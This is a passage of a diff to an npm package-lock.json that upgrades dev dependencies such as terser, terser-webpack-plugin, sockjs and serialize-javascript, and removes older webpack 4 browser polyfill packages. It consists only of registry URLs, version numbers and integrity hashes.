"https://registry.npmjs.org/ret/-/ret-0.1.15.tgz", "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==", - "dev": true + "dev": true, + "optional": true }, "retry": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", - "integrity": "sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs=", + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", "dev": true }, "reusify": { @@ -13843,16 +13471,6 @@ "glob": "^7.1.3" } }, - "ripemd160": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.2.tgz", - "integrity": "sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==", - "dev": true, - "requires": { - "hash-base": "^3.0.0", - "inherits": "^2.0.1" - } - }, "run-async": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz", @@ -13868,15 +13486,6 @@ "queue-microtask": "^1.2.2" } }, - "run-queue": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/run-queue/-/run-queue-1.0.3.tgz", - "integrity": "sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=", - "dev": true, - "requires": { - "aproba": "^1.1.1" - } - }, "rw": { "version": "1.3.3", "resolved": "https://registry.npmjs.org/rw/-/rw-1.3.3.tgz", @@ -13901,6 +13510,7 @@ "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz", "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=", "dev": true, + "optional": true, "requires": { "ret": "~0.1.10" } @@ -14002,14 +13612,6 @@ "dev": true, "requires": { "node-forge": "^0.10.0" - }, - "dependencies": { - "node-forge": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz", - "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==", - "dev": true - } } }, "semver": { @@ -14054,9 +13656,9 @@ } }, "serialize-javascript": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz", - "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==", + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz", + "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==", "dev": true, "requires": { "randombytes": "^2.1.0" @@ -14126,6 +13728,7 @@ "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz", "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==", "dev": true, + "optional": true, "requires": { "extend-shallow": "^2.0.1", "is-extendable": "^0.1.1", @@ -14138,6 +13741,7 @@ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, + "optional": true, "requires": { "is-extendable": "^0.1.0" } @@ -14155,16 +13759,6 @@ "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==", "dev": true }, - "sha.js": { - "version": "2.4.11", - "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.11.tgz", - "integrity": "sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==", - "dev": true, - "requires": { - "inherits": "^2.0.1", - "safe-buffer": "^5.0.1" - } - }, "sha3": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/sha3/-/sha3-2.1.3.tgz", @@ -14276,6 +13870,7 @@ "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", "dev": true, + "optional": true, "requires": { "base": "^0.11.1", "debug": "^2.2.0", @@ -14292,6 +13887,7 @@ "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, + "optional": true, "requires": { "is-descriptor": "^0.1.0" } @@ -14301,6 +13897,7 @@ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, + "optional": true, "requires": { "is-extendable": "^0.1.0" } @@ -14312,6 +13909,7 @@ "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz", "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", "dev": true, + "optional": true, "requires": { "define-property": "^1.0.0", "isobject": "^3.0.0", @@ -14323,6 +13921,7 @@ "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, + "optional": true, "requires": { "is-descriptor": "^1.0.0" } @@ -14332,6 +13931,7 @@ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, + "optional": true, "requires": { "kind-of": "^6.0.0" } @@ -14341,6 +13941,7 @@ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, + "optional": true, "requires": { "kind-of": "^6.0.0" } @@ -14350,6 +13951,7 @@ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, + "optional": true, "requires": { "is-accessor-descriptor": "^1.0.0", "is-data-descriptor": "^1.0.0", @@ -14363,6 +13965,7 @@ "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz", "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", "dev": true, + "optional": true, "requires": { "kind-of": "^3.2.0" }, @@ -14372,6 +13975,7 @@ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, + "optional": true, "requires": { "is-buffer": "^1.1.5" } @@ -14385,62 +13989,16 @@ "dev": true }, "sockjs": { - "version": "0.3.20", - "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.20.tgz", - "integrity": "sha512-SpmVOVpdq0DJc0qArhF3E5xsxvaiqGNb73XfgBpK1y3UD5gs8DSo8aCTsuT5pX8rssdc2NDIzANwP9eCAiSdTA==", + "version": "0.3.21", + "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.21.tgz", + "integrity": "sha512-DhbPFGpxjc6Z3I+uX07Id5ZO2XwYsWOrYjaSeieES78cq+JaJvVe5q/m1uvjIQhXinhIeCFRH6JgXe+mvVMyXw==", "dev": true, "requires": { - "faye-websocket": "^0.10.0", + "faye-websocket": "^0.11.3", "uuid": "^3.4.0", - "websocket-driver": "0.6.5" + "websocket-driver": "^0.7.4" } }, - "sockjs-client": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/sockjs-client/-/sockjs-client-1.4.0.tgz", - "integrity": "sha512-5zaLyO8/nri5cua0VtOrFXBPK1jbL4+1cebT/mmKA1E1ZXOvJrII75bPu0l0k843G/+iAbhEqzyKr0w/eCCj7g==", - "dev": true, - "requires": { - "debug": "^3.2.5", - "eventsource": "^1.0.7", - "faye-websocket": "~0.11.1", - "inherits": "^2.0.3", - "json3": "^3.3.2", - "url-parse": "^1.4.3" - }, - "dependencies": { - "debug": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", - "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", - "dev": true, - "requires": { - "ms": "^2.1.1" - } - }, - "faye-websocket": { - "version": "0.11.3", - "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.3.tgz", - "integrity": "sha512-D2y4bovYpzziGgbHYtGCMjlJM36vAl/y+xUyn1C+FVx8szd1E+86KwVw6XvYSzOP8iMpm1X0I4xJD+QtUb36OA==", - "dev": true, - "requires": { - "websocket-driver": ">=0.5.1" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - } - } - }, - "source-list-map": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz", - "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==", - "dev": true - }, "source-map": { "version": "0.5.7", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", @@ -14528,6 +14086,7 @@ "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz", "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==", "dev": true, + "optional": true, "requires": { "atob": "^2.1.2", "decode-uri-component": "^0.2.0", @@ -14537,9 +14096,9 @@ } }, "source-map-support": { - "version": "0.5.19", - "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", - "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", + "version": "0.5.20", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.20.tgz", + "integrity": "sha512-n1lZZ8Ve4ksRqizaBQgxXDgKwttHDhyfQjA6YZZn8+AroHbsIz+JjwxQDxbp+7y5OYCI8t1Yk7etjD9CRd2hIw==", "dev": true, "requires": { "buffer-from": "^1.0.0", @@ -14558,7 +14117,8 @@ "version": "0.4.0", "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.0.tgz", "integrity": "sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM=", - "dev": true + "dev": true, + "optional": true }, "spdx-correct": { "version": "3.1.0", @@ -14606,12 +14166,12 @@ }, "dependencies": { "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", + "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "ms": { @@ -14637,12 +14197,12 @@ }, "dependencies": { "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", + "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "ms": { @@ -14675,6 +14235,7 @@ "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz", "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", "dev": true, + "optional": true, "requires": { "extend-shallow": "^3.0.0" } @@ -14702,20 +14263,12 @@ "tweetnacl": "~0.14.0" } }, - "ssri": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.2.tgz", - "integrity": "sha512-cepbSq/neFK7xB6A50KHN0xHDotYzq58wWCa5LeWqnPrHG8GzfEjO/4O8kpmcGW+oaxkvhEJCWgbgNk4/ZV93Q==", - "dev": true, - "requires": { - "figgy-pudding": "^3.5.1" - } - }, "static-extend": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=", "dev": true, + "optional": true, "requires": { "define-property": "^0.2.5", "object-copy": "^0.1.0" @@ -14726,6 +14279,7 @@ "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, + "optional": true, "requires": { "is-descriptor": "^0.1.0" } @@ -14747,45 +14301,6 @@ "readable-stream": "^2.0.1" } }, - "stream-browserify": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.2.tgz", - "integrity": "sha512-nX6hmklHs/gr2FuxYDltq8fJA1GDlxKQCz8O/IM4atRqBH8OORmBNgfvW5gG10GT/qQ9u0CzIvr2X5Pkt6ntqg==", - "dev": true, - "requires": { - "inherits": "~2.0.1", - "readable-stream": "^2.0.2" - } - }, - "stream-each": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/stream-each/-/stream-each-1.2.3.tgz", - "integrity": "sha512-vlMC2f8I2u/bZGqkdfLQW/13Zihpej/7PmSiMQsbYddxuTsJp8vRe2x2FvVExZg7FaOds43ROAuFJwPR4MTZLw==", - "dev": true, - "requires": { - "end-of-stream": "^1.1.0", - "stream-shift": "^1.0.0" - } - }, - "stream-http": { - "version": "2.8.3", - "resolved": "https://registry.npmjs.org/stream-http/-/stream-http-2.8.3.tgz", - "integrity": "sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw==", - "dev": true, - "requires": { - "builtin-status-codes": "^3.0.0", - "inherits": "^2.0.1", - "readable-stream": "^2.3.6", - "to-arraybuffer": "^1.0.0", - "xtend": "^4.0.0" - } - }, - "stream-shift": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz", - "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==", - "dev": true - }, "string-width": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", @@ -14910,48 +14425,6 @@ } } }, - "string.prototype.trimend": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.1.tgz", - "integrity": "sha512-LRPxFUaTtpqYsTeNKaFOw3R4bxIzWOnbQ837QfBylo8jIxtcbK/A/sMV7Q+OAV/vWo+7s25pOE10KYSjaSO06g==", - "dev": true, - "requires": { - "define-properties": "^1.1.3", - "es-abstract": "^1.17.5" - } - }, - "string.prototype.trimleft": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/string.prototype.trimleft/-/string.prototype.trimleft-2.1.2.tgz", - "integrity": "sha512-gCA0tza1JBvqr3bfAIFJGqfdRTyPae82+KTnm3coDXkZN9wnuW3HjGgN386D7hfv5CHQYCI022/rJPVlqXyHSw==", - "dev": true, - "requires": { - "define-properties": "^1.1.3", - "es-abstract": "^1.17.5", - "string.prototype.trimstart": "^1.0.0" - } - }, - "string.prototype.trimright": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/string.prototype.trimright/-/string.prototype.trimright-2.1.2.tgz", - "integrity": "sha512-ZNRQ7sY3KroTaYjRS6EbNiiHrOkjihL9aQE/8gfQ4DtAC/aEBRHFJa44OmoWxGGqXuJlfKkZW4WcXErGr+9ZFg==", - "dev": true, - "requires": { - "define-properties": "^1.1.3", - "es-abstract": "^1.17.5", - "string.prototype.trimend": "^1.0.0" - } - }, - "string.prototype.trimstart": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.1.tgz", - "integrity": "sha512-XxZn+QpvrBI1FOcg6dIpxUPgWCPuNXvMD72aaRaUQv1eD4e/Qy8i/hFTe0BUmD60p/QA6bh1avmuPTfNjqVWRw==", - "dev": true, - "requires": { - "define-properties": "^1.1.3", - "es-abstract": "^1.17.5" - } - }, "string_decoder": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", @@ -14979,10 +14452,10 @@ "is-utf8": "^0.2.0" } }, - "strip-eof": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", - "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=", + "strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", "dev": true }, "strip-indent": { @@ -15708,61 +15181,80 @@ } }, "terser": { - "version": "4.8.0", - "resolved": "https://registry.npmjs.org/terser/-/terser-4.8.0.tgz", - "integrity": "sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==", + "version": "5.8.0", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.8.0.tgz", + "integrity": "sha512-f0JH+6yMpneYcRJN314lZrSwu9eKkUFEHLN/kNy8ceh8gaRiLgFPJqrB9HsXjhEGdv4e/ekjTOFxIlL6xlma8A==", "dev": true, "requires": { "commander": "^2.20.0", - "source-map": "~0.6.1", - "source-map-support": "~0.5.12" + "source-map": "~0.7.2", + "source-map-support": "~0.5.20" }, "dependencies": { "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", + "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", "dev": true } } }, "terser-webpack-plugin": { - "version": "1.4.5", - "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.5.tgz", - "integrity": "sha512-04Rfe496lN8EYruwi6oPQkG0vo8C+HT49X687FZnpPF0qMAIHONI6HEXYPKDOE8e5HjXTyKfqRd/agHtH0kOtw==", + "version": "5.2.4", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.2.4.tgz", + "integrity": "sha512-E2CkNMN+1cho04YpdANyRrn8CyN4yMy+WdFKZIySFZrGXZxJwJP6PMNGGc/Mcr6qygQHUUqRxnAPmi0M9f00XA==", "dev": true, "requires": { - "cacache": "^12.0.2", - "find-cache-dir": "^2.1.0", - "is-wsl": "^1.1.0", - "schema-utils": "^1.0.0", - "serialize-javascript": "^4.0.0", + "jest-worker": "^27.0.6", + "p-limit": "^3.1.0", + "schema-utils": "^3.1.1", + "serialize-javascript": "^6.0.0", "source-map": "^0.6.1", - "terser": "^4.1.2", - "webpack-sources": "^1.4.0", - "worker-farm": "^1.7.0" + "terser": "^5.7.2" }, "dependencies": { - "find-cache-dir": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", - "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", + "@types/json-schema": { + "version": "7.0.9", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", + "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", + "dev": true + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", "dev": true, "requires": { - "commondir": "^1.0.1", - "make-dir": "^2.0.0", - "pkg-dir": "^3.0.0" + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "dev": true + }, + "p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "requires": { + "yocto-queue": "^0.1.0" } }, "schema-utils": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", - "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", "dev": true, "requires": { - "ajv": "^6.1.0", - "ajv-errors": "^1.0.0", - "ajv-keywords": "^3.1.0" + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" } }, "source-map": { @@ -15801,15 +15293,6 @@ "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==", "dev": true }, - "timers-browserify": { - "version": "2.0.12", - "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.12.tgz", - "integrity": "sha512-9phl76Cqm6FhSX9Xe1ZUAMLtm1BLkKj2Qd5ApyWkXzsMRaA7dgr81kf4wJmQf/hAvg8EEyJxDo3du/0KlhPiKQ==", - "dev": true, - "requires": { - "setimmediate": "^1.0.4" - } - }, "timsort": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/timsort/-/timsort-0.3.0.tgz", @@ -15834,12 +15317,6 @@ "os-tmpdir": "~1.0.2" } }, - "to-arraybuffer": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/to-arraybuffer/-/to-arraybuffer-1.0.1.tgz", - "integrity": "sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M=", - "dev": true - }, "to-fast-properties": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", @@ -15850,6 +15327,7 @@ "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz", "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=", "dev": true, + "optional": true, "requires": { "kind-of": "^3.0.2" }, @@ -15859,6 +15337,7 @@ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, + "optional": true, "requires": { "is-buffer": "^1.1.5" } @@ -15870,6 +15349,7 @@ "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz", "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", "dev": true, + "optional": true, "requires": { "define-property": "^2.0.2", "extend-shallow": "^3.0.2", @@ -15882,6 +15362,7 @@ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz", "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=", "dev": true, + "optional": true, "requires": { "is-number": "^3.0.0", "repeat-string": "^1.6.1" @@ -15898,12 +15379,6 @@ "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==", "dev": true }, - "toposort": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/toposort/-/toposort-1.0.7.tgz", - "integrity": "sha1-LmhELZ9k7HILjMieZEOsbKqVACk=", - "dev": true - }, "tough-cookie": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz", @@ -16100,12 +15575,6 @@ "pathseg": "^1.2.0" } }, - "tty-browserify": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/tty-browserify/-/tty-browserify-0.0.0.tgz", - "integrity": "sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY=", - "dev": true - }, "tunnel-agent": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", @@ -16146,12 +15615,6 @@ "mime-types": "~2.1.24" } }, - "typedarray": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz", - "integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=", - "dev": true - }, "typedarray-to-buffer": { "version": "3.1.5", "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", @@ -16282,6 +15745,7 @@ "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz", "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==", "dev": true, + "optional": true, "requires": { "arr-union": "^3.1.0", "get-value": "^2.0.6", @@ -16295,24 +15759,6 @@ "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", "dev": true }, - "unique-filename": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", - "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", - "dev": true, - "requires": { - "unique-slug": "^2.0.0" - } - }, - "unique-slug": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz", - "integrity": 